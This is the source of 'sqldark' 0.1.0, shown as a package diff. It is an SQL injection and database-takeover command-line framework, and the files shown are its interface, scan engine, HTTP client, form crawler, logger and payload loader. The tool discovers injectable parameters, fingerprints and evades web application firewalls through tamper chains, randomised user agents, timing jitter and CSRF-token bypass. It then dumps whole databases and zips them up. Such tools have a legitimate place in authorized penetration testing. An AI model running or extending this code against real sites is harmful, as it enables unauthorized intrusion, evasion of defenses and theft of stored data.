sqldark 0.1.0__py3-none-any.whl

sqldark/__init__.py

@@ -0,0 +1,14 @@
+"""SQLDark - Advanced SQL Injection & Database Takeover Framework."""
+
+__version__ = "0.1.0"
+__author__ = "Muhammed Balin"
+__tool__ = "sqldark"
+
+BANNER = r"""
+  ___  ___  _    ___          _
+ / __|/ _ \| |  |   \ __ _ _ _| |__
+ \__ \ (_) | |__| |) / _` | '_| / /
+ |___/\__\_\____|___/\__,_|_| |_\_\
+     Advanced SQL Injection Framework  v{version}
+     legal use only - test what you own
+"""

sqldark/__main__.py

@@ -0,0 +1,4 @@
+from sqldark.cli import main
+
+if __name__ == "__main__":
+    main()

sqldark/cli.py

@@ -0,0 +1,186 @@
+"""SQLDark command-line interface."""
+import argparse
+import sys
+
+from sqldark import __version__, BANNER
+from sqldark.core.logger import Logger
+from sqldark.core.http import HttpClient
+from sqldark.core.engine import Engine, DEFAULT_ORDER
+from sqldark import tamper as tamper_mod
+from sqldark.session.store import SessionStore
+from sqldark.session.exporter import export_dump_to_zip
+
+
+def build_parser():
+    p = argparse.ArgumentParser(
+        prog="sqldark",
+        description="SQLDark - advanced SQL injection & database takeover framework",
+        epilog="Use only on systems you own or are authorized to test.",
+    )
+    tgt = p.add_argument_group("target")
+    tgt.add_argument("-u", "--url", help="target URL (use * to mark an injection point)")
+    tgt.add_argument("--data", help="POST data string (a=1&b=2)")
+    tgt.add_argument("-m", "--method", default=None, help="HTTP method override")
+
+    req = p.add_argument_group("request")
+    req.add_argument("--cookie", help="HTTP Cookie header")
+    req.add_argument("-H", "--header", action="append", default=[],
+                     help="extra header 'Name: value' (repeatable)")
+    req.add_argument("--proxy", help="proxy url e.g. http://127.0.0.1:8080")
+    req.add_argument("--timeout", type=float, default=15)
+    req.add_argument("--delay", type=float, default=0.0, help="delay between requests (s)")
+    req.add_argument("--retries", type=int, default=2)
+    req.add_argument("--random-agent", action="store_true", help="rotate User-Agent")
+    req.add_argument("--random-delay", type=float, default=0.0,
+                     help="add up to N seconds of random jitter per request (human-like)")
+    req.add_argument("--csrf-url", help="URL to fetch a fresh anti-CSRF token from")
+    req.add_argument("--csrf-token", dest="csrf_field",
+                     help="name of the anti-CSRF token field to refresh")
+
+    det = p.add_argument_group("detection")
+    det.add_argument("--technique", default=DEFAULT_ORDER,
+                     help=f"technique letters to use (default {DEFAULT_ORDER}: "
+                          "E=error B=boolean U=union T=time)")
+    det.add_argument("--skip-waf", action="store_true", help="skip WAF fingerprinting")
+    det.add_argument("--level", type=int, default=1, choices=range(1,6),
+                     help="1-5: how many payload-library boundaries to try (wider=deeper)")
+    det.add_argument("--risk", type=int, default=1, choices=range(1,4),
+                     help="1-3: how aggressive the payloads may be")
+
+    ev = p.add_argument_group("evasion")
+    ev.add_argument("--tamper", help="comma-separated tamper scripts")
+    ev.add_argument("--list-tampers", action="store_true", help="list tamper scripts and exit")
+    ev.add_argument("--auto-tamper", action="store_true",
+                    help="auto-pick a tamper chain from the detected WAF")
+
+    enu = p.add_argument_group("enumeration")
+    enu.add_argument("-b", "--banner", action="store_true", help="retrieve DBMS banner/version")
+    enu.add_argument("--current-db", action="store_true", help="retrieve current database name")
+    enu.add_argument("--tables", action="store_true", help="enumerate tables")
+    enu.add_argument("--columns", action="store_true", help="enumerate columns")
+    enu.add_argument("--dump", action="store_true", help="dump rows of the target table")
+    enu.add_argument("--dump-all", action="store_true",
+                     help="dump every table of the current database")
+    enu.add_argument("-D", dest="db", help="database to enumerate")
+    enu.add_argument("-T", dest="table", help="table to target")
+    enu.add_argument("--max-rows", type=int, default=50, help="max rows to dump")
+
+    out = p.add_argument_group("output")
+    out.add_argument("-v", "--verbose", action="count", default=1,
+                     help="increase verbosity (-vv, -vvv)")
+    out.add_argument("-q", "--quiet", action="store_true")
+    out.add_argument("--no-color", action="store_true")
+    out.add_argument("--no-banner", action="store_true")
+    p.add_argument("--version", action="version", version=f"sqldark {__version__}")
+
+    ses = p.add_argument_group("session")
+    ses.add_argument("--session", metavar="NAME",
+                     help="save results to / resume from a named session (sezon)")
+    ses.add_argument("--list-sessions", action="store_true",
+                     help="list saved sessions and exit")
+    ses.add_argument("--delete-session", metavar="NAME",
+                     help="delete a saved session and exit")
+    ses.add_argument("--export", action="store_true",
+                     help="export dumped databases to a zip (named after the site)")
+    return p
+
+
+def parse_headers(items):
+    headers = {}
+    for h in items:
+        if ":" in h:
+            k, v = h.split(":", 1)
+            headers[k.strip()] = v.strip()
+    return headers
+
+
+def main(argv=None):
+    parser = build_parser()
+    args = parser.parse_args(argv)
+
+    verbose = 0 if args.quiet else args.verbose
+    log = Logger(verbose=verbose, use_color=not args.no_color)
+
+    if not args.no_banner and not args.quiet:
+        log.banner(BANNER.format(version=__version__))
+
+    if args.list_tampers:
+        for name, desc in tamper_mod.available().items():
+            print(f"  {name:<22} {desc}")
+        return 0
+
+    if args.list_sessions:
+        store = SessionStore()
+        rows = store.list()
+        if not rows:
+            log.info("no saved sessions")
+        for r in rows:
+            log.info(f"{r['name']:<20} {r['dbms']:<12} {r['saved_at']}  {r['target']}")
+        return 0
+
+    if args.delete_session:
+        store = SessionStore()
+        ok = store.delete(args.delete_session)
+        log.ok(f"deleted session {args.delete_session}") if ok else \
+            log.warn(f"no such session: {args.delete_session}")
+        return 0
+
+    if not args.url:
+        parser.error("a target is required (-u/--url)")
+
+    tampers = []
+    if args.tamper:
+        try:
+            tampers = tamper_mod.get(args.tamper.split(","))
+            log.info("tamper chain: " + " -> ".join(t.name for t in tampers))
+        except KeyError as e:
+            log.error(str(e))
+            return 2
+
+    method = args.method or ("POST" if args.data else "GET")
+    http = HttpClient(
+        log, timeout=args.timeout, delay=args.delay, retries=args.retries,
+        proxy=args.proxy, headers=parse_headers(args.header),
+        cookies=args.cookie, tampers=tampers, random_agent=args.random_agent,
+        random_delay=args.random_delay, csrf_url=args.csrf_url,
+        csrf_field=args.csrf_field,
+    )
+
+    store = SessionStore() if (args.session or args.export) else None
+    if args.session and store.load(args.session):
+        prior = store.load(args.session)
+        log.info(f"resuming session '{args.session}' "
+                 f"(saved {prior.get('_saved_at','?')}, DBMS {prior.get('dbms','?')})")
+
+    engine = Engine(http, log, techniques=args.technique, skip_waf=args.skip_waf,
+                    auto_tamper=getattr(args, 'auto_tamper', False),
+                    level=args.level, risk=args.risk)
+    enum_opts = {
+        "banner": args.banner, "current_db": args.current_db,
+        "tables": args.tables, "columns": args.columns, "dump": args.dump,
+        "dump_all": args.dump_all,
+        "db": args.db, "table": args.table, "max_rows": args.max_rows,
+    }
+    try:
+        findings = engine.scan(args.url, method=method, data=args.data,
+                               enum_opts=enum_opts)
+    except KeyboardInterrupt:
+        log.warn("interrupted by user")
+        return 130
+
+    enum_result = getattr(engine, "last_enum", None)
+    if args.session and store is not None:
+        payload = {"target": args.url, "method": method}
+        if enum_result:
+            payload.update(enum_result)
+        path = store.save(args.session, payload)
+        log.ok(f"session saved: {path}")
+    if args.export and enum_result:
+        zp = export_dump_to_zip(args.url, enum_result, label=args.session)
+        log.ok(f"database exported: {zp}")
+
+    return 0 if findings else 1
+
+
+if __name__ == "__main__":
+    sys.exit(main())

sqldark/core/discovery.py

@@ -0,0 +1,67 @@
+"""Parameter discovery: when the user gives a bare URL with no injectable
+parameter, crawl the page for links and forms and surface candidate params."""
+import re
+from urllib.parse import urlparse, urljoin, parse_qsl
+
+HREF = re.compile(r'href=["\']([^"\'#]+)["\']', re.I)
+FORM = re.compile(r'<form[^>]*>(.*?)</form>', re.I | re.S)
+ACTION = re.compile(r'action=["\']([^"\']*)["\']', re.I)
+METHOD = re.compile(r'method=["\']([^"\']*)["\']', re.I)
+INPUT = re.compile(r'<(?:input|textarea|select)[^>]*name=["\']([^"\']+)["\']', re.I)
+
+# Common parameter names worth probing when nothing else is found.
+COMMON = ["id", "cat", "page", "pid", "item", "product", "user", "uid",
+          "name", "search", "q", "query", "category", "article", "news"]
+
+
+class Discovery:
+    def __init__(self, http, log, max_links=50):
+        self.http = http
+        self.log = log
+        self.max_links = max_links
+
+    def find(self, base_url):
+        """Return a list of candidate target descriptors: {url, method, data}."""
+        self.log.info(f"no parameter supplied; crawling {base_url} for injection points")
+        resp = self.http.send(base_url, method="GET")
+        host = urlparse(base_url).netloc
+        candidates = []
+        seen = set()
+
+        # 1) Links on the page that carry a query string
+        for href in HREF.findall(resp.text)[: self.max_links]:
+            full = urljoin(base_url, href)
+            if urlparse(full).netloc != host:
+                continue
+            q = parse_qsl(urlparse(full).query)
+            if q and full not in seen:
+                seen.add(full)
+                candidates.append({"url": full, "method": "GET", "data": None})
+                self.log.ok(f"found GET params {[k for k, _ in q]} at {full}")
+
+        # 2) Forms on the page
+        for form_html in FORM.findall(resp.text):
+            action = ACTION.search(form_html)
+            method = (METHOD.search(form_html) or [None, "GET"])
+            m = (method.group(1) if hasattr(method, "group") else "GET").upper()
+            names = INPUT.findall(form_html)
+            if not names:
+                continue
+            target = urljoin(base_url, action.group(1)) if action else base_url
+            data = "&".join(f"{n}=1" for n in names)
+            if m == "POST":
+                candidates.append({"url": target, "method": "POST", "data": data})
+            else:
+                sep = "&" if urlparse(target).query else "?"
+                candidates.append({"url": f"{target}{sep}{data}", "method": "GET",
+                                   "data": None})
+            self.log.ok(f"found {m} form -> {target} fields {names}")
+
+        # 3) Fallback: probe the base URL with common parameter names
+        if not candidates:
+            self.log.warn("no links/forms with parameters; probing common names")
+            sep = "&" if urlparse(base_url).query else "?"
+            guess = "&".join(f"{p}=1" for p in COMMON)
+            candidates.append({"url": f"{base_url}{sep}{guess}", "method": "GET",
+                               "data": None})
+        return candidates

sqldark/core/engine.py

@@ -0,0 +1,106 @@
+"""Orchestration: baseline, WAF fingerprint, per-point technique sweep."""
+from sqldark.core.target import Target
+from sqldark.waf.detector import WafDetector
+from sqldark.dbms.errors import match_dbms
+from sqldark.techniques.error_based import ErrorBased
+from sqldark.techniques.boolean_blind import BooleanBlind
+from sqldark.techniques.time_blind import TimeBlind
+from sqldark.techniques.union_based import UnionBased
+from sqldark.techniques.stacked_queries import StackedQueries
+from sqldark.core.discovery import Discovery
+from sqldark.enumeration.driver import run_enumeration
+from sqldark.waf.tamper_advisor import recommend as recommend_tampers
+from sqldark import tamper as _tamper_mod
+
+TECHNIQUE_MAP = {
+    "E": ErrorBased,
+    "B": BooleanBlind,
+    "U": UnionBased,
+    "T": TimeBlind,
+    "S": StackedQueries,
+}
+DEFAULT_ORDER = "EBUT"
+
+
+class Engine:
+    def __init__(self, http, log, techniques=DEFAULT_ORDER, skip_waf=False,
+                 auto_tamper=False, level=1, risk=1):
+        self.http = http
+        self.log = log
+        self.order = [c for c in techniques.upper() if c in TECHNIQUE_MAP]
+        self.skip_waf = skip_waf
+        self.auto_tamper = auto_tamper
+        self.level = level
+        self.risk = risk
+
+    def scan(self, url, method="GET", data=None, enum_opts=None):
+        target = Target(url, method=method, data=data)
+        if not target.points:
+            # No parameter in the URL: discover one, then retry on it.
+            disc = Discovery(self.http, self.log)
+            for cand in disc.find(url):
+                res = self.scan(cand["url"], method=cand["method"],
+                                data=cand["data"], enum_opts=enum_opts)
+                if res:
+                    return res
+            self.log.error("no injectable parameters found after discovery")
+            return []
+
+        self.log.info(f"target has {len(target.points)} injection point(s)")
+
+        # Baseline from the first point's original value
+        first = target.points[0]
+        base_url, base_data = first.build("")
+        baseline = self.http.send(base_url, method=first.method, data=base_data)
+        self._baseline = baseline
+        self.log.info(f"baseline: HTTP {baseline.status}, "
+                      f"{baseline.length} bytes, {baseline.elapsed:.2f}s")
+        base_db = match_dbms(baseline.text)
+        if base_db:
+            self.log.warn(f"baseline page already shows a {base_db} error")
+
+        if not self.skip_waf:
+            waf = WafDetector(self.http, self.log).detect(first, baseline)
+            if waf["detected"]:
+                rec = recommend_tampers(waf.get("name"))
+                if self.auto_tamper and not self.http.tampers and rec:
+                    try:
+                        chain = _tamper_mod.get(rec)
+                        self.http.tampers = chain
+                        self.log.warn("auto-tamper enabled for "
+                                      f"{waf.get('name')}: " + " -> ".join(t.name for t in chain))
+                    except Exception as ex:
+                        self.log.warn(f"auto-tamper could not load chain: {ex}")
+                elif waf.get("blocking") and rec:
+                    self.log.warn("WAF is actively blocking; suggested: --tamper "
+                                  + ",".join(rec))
+
+        findings = []
+        for point in target.points:
+            self.log.info(f"testing parameter '{point.name}' ({point.place})")
+            for letter in self.order:
+                tech = TECHNIQUE_MAP[letter](self.http, self.log)
+                tech.level = self.level
+                tech.risk = self.risk
+                res = tech.test(point, baseline)
+                if res.vulnerable:
+                    findings.append(res)
+                    self.log.crit(
+                        f"parameter '{point.name}' is INJECTABLE "
+                        f"({res.technique}"
+                        f"{', ' + res.dbms if res.dbms else ''})")
+        self._summary(findings)
+        self.last_enum = None
+        if findings and enum_opts and any(enum_opts.get(k) for k in
+                ("banner", "current_db", "tables", "columns", "dump", "dump_all")):
+            self.last_enum = run_enumeration(self.http, self.log, findings,
+                                             baseline, enum_opts)
+        return findings
+
+    def _summary(self, findings):
+        self.log.info(f"total HTTP requests: {self.http.request_count}")
+        if not findings:
+            self.log.info("no SQL injection found with current settings")
+            return
+        dbms = next((f.dbms for f in findings if f.dbms), "unknown")
+        self.log.ok(f"injectable: {len(findings)} vector(s), back-end DBMS: {dbms}")

sqldark/core/http.py

@@ -0,0 +1,117 @@
+"""HTTP engine: sends requests, applies tamper chain, times responses."""
+import random
+import re
+import time
+import requests
+
+USER_AGENTS = [
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36",
+    "Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15",
+    "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Mobile Safari/537.36",
+]
+
+
+class Response:
+    __slots__ = ("status", "text", "headers", "elapsed", "url")
+
+    def __init__(self, status, text, headers, elapsed, url):
+        self.status = status
+        self.text = text or ""
+        self.headers = headers or {}
+        self.elapsed = elapsed
+        self.url = url
+
+    @property
+    def length(self):
+        return len(self.text)
+
+
+class HttpClient:
+    def __init__(self, logger, timeout=15, delay=0.0, retries=2,
+                 proxy=None, headers=None, cookies=None, tampers=None,
+                 random_agent=False, verify=False, random_delay=0.0,
+                 csrf_url=None, csrf_field=None):
+        self.log = logger
+        self.timeout = timeout
+        self.delay = delay
+        self.retries = retries
+        self.tampers = tampers or []
+        self.random_agent = random_agent
+        self.verify = verify
+        self.random_delay = random_delay
+        self.csrf_url = csrf_url
+        self.csrf_field = csrf_field
+        self.session = requests.Session()
+        self.session.verify = verify
+        if proxy:
+            self.session.proxies = {"http": proxy, "https": proxy}
+        if headers:
+            self.session.headers.update(headers)
+        if cookies:
+            self.session.headers["Cookie"] = cookies
+        self.session.headers.setdefault("Accept", "*/*")
+        self.request_count = 0
+
+    def _tamper(self, payload):
+        for t in self.tampers:
+            payload = t.tamper(payload)
+        return payload
+
+    def send(self, url, method="GET", data=None, raw_payload=None):
+        """Send a request. raw_payload is the already-built injected value."""
+        if self.random_agent:
+            self.session.headers["User-Agent"] = random.choice(USER_AGENTS)
+        elif "User-Agent" not in self.session.headers:
+            self.session.headers["User-Agent"] = USER_AGENTS[0]
+
+        last_exc = None
+        for attempt in range(self.retries + 1):
+            try:
+                if self.delay:
+                    time.sleep(self.delay)
+                if self.random_delay:
+                    time.sleep(random.uniform(0, self.random_delay))
+                data = self._inject_csrf(data)
+                start = time.time()
+                r = self.session.request(
+                    method, url, data=data, timeout=self.timeout,
+                    allow_redirects=False,
+                )
+                elapsed = time.time() - start
+                self.request_count += 1
+                return Response(r.status_code, r.text, dict(r.headers), elapsed, url)
+            except requests.exceptions.Timeout:
+                # Timeouts matter for time-based detection; surface as slow response.
+                elapsed = self.timeout
+                self.request_count += 1
+                return Response(0, "", {}, elapsed, url)
+            except requests.RequestException as e:
+                last_exc = e
+                time.sleep(0.5)
+        self.log.error(f"request failed: {last_exc}")
+        return Response(-1, "", {}, 0.0, url)
+
+    def _inject_csrf(self, data):
+        """If a CSRF endpoint is configured, fetch a fresh token and fold it
+        into the POST body under the configured field name (anti-CSRF bypass
+        for authorized testing of token-protected forms)."""
+        if not self.csrf_url or not self.csrf_field or data is None:
+            return data
+        try:
+            r = self.session.get(self.csrf_url, timeout=self.timeout, verify=self.verify)
+            m = re.search(
+                self.csrf_field + r"[\"\']?\s*(?:value|content)=[\"\']([^\"\']+)",
+                r.text, re.I)
+            if not m:
+                m = re.search(r"name=[\"\']" + self.csrf_field +
+                              r"[\"\'][^>]*value=[\"\']([^\"\']+)", r.text, re.I)
+            if m:
+                token = m.group(1)
+                if isinstance(data, str):
+                    data = data + f"&{self.csrf_field}={token}"
+                elif isinstance(data, dict):
+                    data[self.csrf_field] = token
+        except Exception:
+            pass
+        return data

sqldark/core/logger.py

@@ -0,0 +1,57 @@
+"""Colored, leveled, timestamped console logging (sqlmap-style, but richer)."""
+import sys
+import time
+
+RESET = "\033[0m"
+BOLD = "\033[1m"
+COLORS = {
+    "INFO":     "\033[94m",
+    "SUCCESS":  "\033[92m",
+    "WARNING":  "\033[93m",
+    "ERROR":    "\033[91m",
+    "CRITICAL": "\033[95m",
+    "PAYLOAD":  "\033[96m",
+    "DEBUG":    "\033[90m",
+}
+# Full level word shown in the line, like sqlmap's [INFO]/[WARNING]/[CRITICAL].
+LEVEL_WORD = {
+    "INFO": "INFO", "SUCCESS": "SUCCESS", "WARNING": "WARNING",
+    "ERROR": "ERROR", "CRITICAL": "CRITICAL", "PAYLOAD": "PAYLOAD", "DEBUG": "DEBUG",
+}
+
+
+class Logger:
+    def __init__(self, verbose=1, use_color=True):
+        self.verbose = verbose
+        self.use_color = use_color and sys.stdout.isatty()
+
+    def _stamp(self):
+        return time.strftime("%H:%M:%S")
+
+    def _c(self, level, text):
+        if not self.use_color:
+            return text
+        return f"{COLORS.get(level, '')}{text}{RESET}"
+
+    def _emit(self, level, msg, min_v=1):
+        if self.verbose < min_v:
+            return
+        word = LEVEL_WORD.get(level, level)
+        stamp = self._c("DEBUG", f"[{self._stamp()}]")
+        tag = self._c(level, f"[{word}]")
+        print(f"{stamp} {tag} {msg}")
+
+    # Public API (keeps old names as aliases so existing calls work)
+    def info(self, msg):     self._emit("INFO", msg)
+    def ok(self, msg):       self._emit("SUCCESS", msg)
+    def success(self, msg):  self._emit("SUCCESS", msg)
+    def warn(self, msg):     self._emit("WARNING", msg)
+    def warning(self, msg):  self._emit("WARNING", msg)
+    def error(self, msg):    self._emit("ERROR", msg)
+    def crit(self, msg):     self._emit("CRITICAL", msg)
+    def critical(self, msg): self._emit("CRITICAL", msg)
+    def payload(self, msg):  self._emit("PAYLOAD", msg, min_v=2)
+    def debug(self, msg):    self._emit("DEBUG", msg, min_v=3)
+
+    def banner(self, text):
+        print(self._c("CRITICAL", text))

sqldark/core/payloads.py

@@ -0,0 +1,80 @@
+"""Loader for the on-disk payload library (data/payloads/<dbms>/<technique>/*.json)."""
+import json
+import os
+
+_BASE = os.path.join(os.path.dirname(os.path.dirname(__file__)), "data", "payloads")
+
+
+def _iter_files(dbms=None, technique=None):
+    if not os.path.isdir(_BASE):
+        return
+    dbms_dirs = [dbms] if dbms else sorted(
+        d for d in os.listdir(_BASE) if os.path.isdir(os.path.join(_BASE, d)))
+    for db in dbms_dirs:
+        dbdir = os.path.join(_BASE, db)
+        if not os.path.isdir(dbdir):
+            continue
+        techs = [technique] if technique else sorted(os.listdir(dbdir))
+        for t in techs:
+            tdir = os.path.join(dbdir, t)
+            if not os.path.isdir(tdir):
+                continue
+            for fn in sorted(os.listdir(tdir)):
+                if fn.endswith(".json"):
+                    yield os.path.join(tdir, fn)
+
+
+def load(dbms=None, technique=None):
+    """Return a list of payload dicts, optionally filtered by dbms/technique."""
+    out = []
+    for path in _iter_files(dbms, technique):
+        try:
+            out.append(json.load(open(path, encoding="utf-8")))
+        except Exception:
+            continue
+    return out
+
+
+def count():
+    return sum(1 for _ in _iter_files())
+
+
+DBMS_ALIASES = {
+    "mysql": "mysql", "MySQL": "mysql",
+    "postgresql": "pgsql", "PostgreSQL": "pgsql", "pgsql": "pgsql",
+    "microsoft sql server": "mssql", "Microsoft SQL Server": "mssql", "mssql": "mssql",
+    "oracle": "oracle", "Oracle": "oracle",
+    "sqlite": "sqlite", "SQLite": "sqlite",
+}
+
+
+def dbms_key(name):
+    return DBMS_ALIASES.get(name, DBMS_ALIASES.get((name or "").lower(), None))
+
+
+_BOUNDARY_CACHE = None
+
+
+def boundary_set(level=1):
+    """Unique (prefix, suffix) boundaries drawn from the on-disk payload library.
+    Higher --level exposes more of them, so the data files drive how wide the
+    technique sweeps go instead of a hard-coded list."""
+    global _BOUNDARY_CACHE
+    if _BOUNDARY_CACHE is None:
+        seen, out = set(), []
+        for p in load():
+            b = p.get("boundary") or {}
+            key = (b.get("prefix", ""), b.get("suffix", ""))
+            if key not in seen:
+                seen.add(key)
+                out.append(key)
+        _BOUNDARY_CACHE = out
+    # level 1 -> first 5, scaling up to the full set at level 5
+    n = {1: 5, 2: 10, 3: 16, 4: 22, 5: len(_BOUNDARY_CACHE)}.get(level, 5)
+    return _BOUNDARY_CACHE[:n]
+
+
+def vectors_for(dbms_key_or_name, technique):
+    """Raw vector strings from the library for a DBMS + technique."""
+    k = dbms_key(dbms_key_or_name) or dbms_key_or_name
+    return [p["vector"] for p in load(dbms=k, technique=technique)]